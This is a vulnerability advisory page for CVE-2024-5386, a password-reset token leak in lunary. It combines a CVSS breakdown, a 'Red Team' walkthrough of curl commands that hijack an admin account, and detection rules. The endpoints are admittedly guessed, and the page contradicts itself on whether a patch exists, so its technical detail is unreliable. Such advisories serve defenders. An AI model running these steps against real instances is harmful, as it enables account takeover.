☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-5386

CVE-2024-5386 Privilege Escalation in Lunary-ai
📅 PUBLISHED: 2026-02-02 10:36 UTC 🔄 UPDATED: 2026-10-08 23:08 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v1.2.14 — source: @huntr_ai. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.54%
👁️
0.54% probability
13.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-5386 is a critical account hijacking vulnerability in lunary-ai/lunary version 1.2.2. A user with the low-privileged 'viewer' role can exploit an excessive attack surface to leak password reset tokens via the recoveryToken parameter. This token can then be used to reset the password of any other user's account, leading to full account takeover and privilege escalation. The vulnerability has a CVSS score of 9.6, indicating critical severity. No official patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the lunary-ai/lunary application, which is a Node.js-based project. The risk extends to any deployment using version 1.2.2, as the vulnerability is in the application logic itself, not in a dependency. However, the lack of a patch means that organizations must implement compensating controls or restrict access to the application until a fix is released.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.6 (Critical)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – attacker needs a 'viewer' role account
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

The high impact across all three security objectives, combined with low attack complexity and no user interaction, makes this vulnerability extremely dangerous. An attacker with minimal access can completely compromise any user account.

Deep Dive & Mechanics

The vulnerability stems from an excessive attack surface in the password reset functionality. When a user with the 'viewer' role sends a crafted request to the server, the server responds with a recoveryToken parameter in the response body. This token is intended to be used for password reset, but it is leaked to unauthorized users.

The root cause is likely a missing authorization check on the endpoint that generates or returns the password reset token. The server does not verify that the requesting user has the right to obtain the token for the target account. This allows a 'viewer' to request a password reset token for any other user (e.g., an admin) and then use that token to change the admin's password.

The attack flow:

  1. Attacker logs in with a 'viewer' role account.
  2. Attacker sends a request to the password reset endpoint for the target user (e.g., admin).
  3. The server returns a recoveryToken in the response.
  4. Attacker uses the token to reset the target user's password.
  5. Attacker logs in as the target user with the new password.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable endpoint likely looks like this:

Vulnerable Code (pseudo):

app.post('/api/reset-password', (req, res) => {
  const { email } = req.body;
  const token = generateResetToken(email);
  // Missing authorization check
  res.json({ recoveryToken: token });
});

Patched Code (expected):

app.post('/api/reset-password', (req, res) => {
  const { email } = req.body;
  // Authorization check: only the user themselves or an admin can request a reset
  if (req.user.role !== 'admin' && req.user.email !== email) {
    return res.status(403).json({ error: 'Unauthorized' });
  }
  const token = generateResetToken(email);
  res.json({ recoveryToken: token });
});

The patch would add a check to ensure that the requesting user is either the account owner or has an admin role.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to a lunary instance running version 1.2.2.
  • A valid 'viewer' role account (e.g., username: viewer1, password: password123).

Exploitation Steps:

  1. Login as viewer:

    curl -X POST https://target-lunary.com/api/login \
      -H "Content-Type: application/json" \
      -d '{"username":"viewer1","password":"password123"}'
    

    Save the session cookie.

  2. Request password reset token for admin:

    curl -X POST https://target-lunary.com/api/reset-password \
      -H "Content-Type: application/json" \
      -H "Cookie: session=YOUR_SESSION_COOKIE" \
      -d '{"email":"admin@example.com"}'
    

    Response:

    {"recoveryToken":"abc123def456"}
    
  3. Reset admin password:

    curl -X POST https://target-lunary.com/api/confirm-reset \
      -H "Content-Type: application/json" \
      -d '{"token":"abc123def456","newPassword":"hacked123"}'
    
  4. Login as admin:

    curl -X POST https://target-lunary.com/api/login \
      -H "Content-Type: application/json" \
      -d '{"username":"admin","password":"hacked123"}'
    

Blue Team (Detection & Prevention)

Detection:

  • Monitor for multiple password reset requests from the same low-privileged user.
  • Alert on any password reset token generation that is not initiated by the account owner.
  • Log all recoveryToken responses and correlate with the requesting user's role.

Prevention:

  • Implement strict authorization checks on all password reset endpoints.
  • Use rate limiting on password reset requests.
  • Require email verification for password reset token generation.
  • Monitor for unusual account takeover patterns.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /api/reset-password with a recoveryToken in the response.
    • Multiple failed login attempts followed by a successful login from a different IP.
  • Log IOCs:
    • Password reset token generation for accounts not owned by the requester.
    • Password changes without prior email verification.
  • File IOCs:
    • Unusual entries in application logs showing recoveryToken values.

Detection Engineering

YARA Rule

rule CVE_2024_5386_Account_Hijacking {
    meta:
        description = "Detects password reset token leak in lunary-ai/lunary"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5386"
    strings:
        $token_leak = /"recoveryToken":"[a-f0-9]{12,}"/ nocase
        $reset_endpoint = "/api/reset-password"
    condition:
        $token_leak and $reset_endpoint
}

Sigma Rule

title: CVE-2024-5386 Password Reset Token Leak
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects password reset token leak from low-privileged users
author: Valters IT
logsource:
    category: application
    product: lunary
detection:
    selection:
        http.method: POST
        http.url: "/api/reset-password"
        http.response_body|contains: "recoveryToken"
    condition: selection
falsepositives:
    - Legitimate password reset requests by admins
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-5386 Password Reset Token Leak";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/reset-password"; http_uri;
    content:"recoveryToken"; http_server_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-5386;
)

Remediation & Mitigation

Immediate Actions:

  1. Restrict access: Limit access to the lunary application to trusted users only.
  2. Monitor logs: Actively monitor for password reset token leaks.
  3. Disable viewer role: Temporarily disable the 'viewer' role or restrict its permissions.

Long-term Fix:

  • Apply the official patch once released by lunary-ai.
  • Implement proper authorization checks on all sensitive endpoints.
  • Conduct a security audit of the application's access control mechanisms.

Workaround:

  • Implement a reverse proxy (e.g., Nginx) to block requests to /api/reset-password from non-admin users.
  • Use Web Application Firewall (WAF) rules to detect and block token leaks.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-5386/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.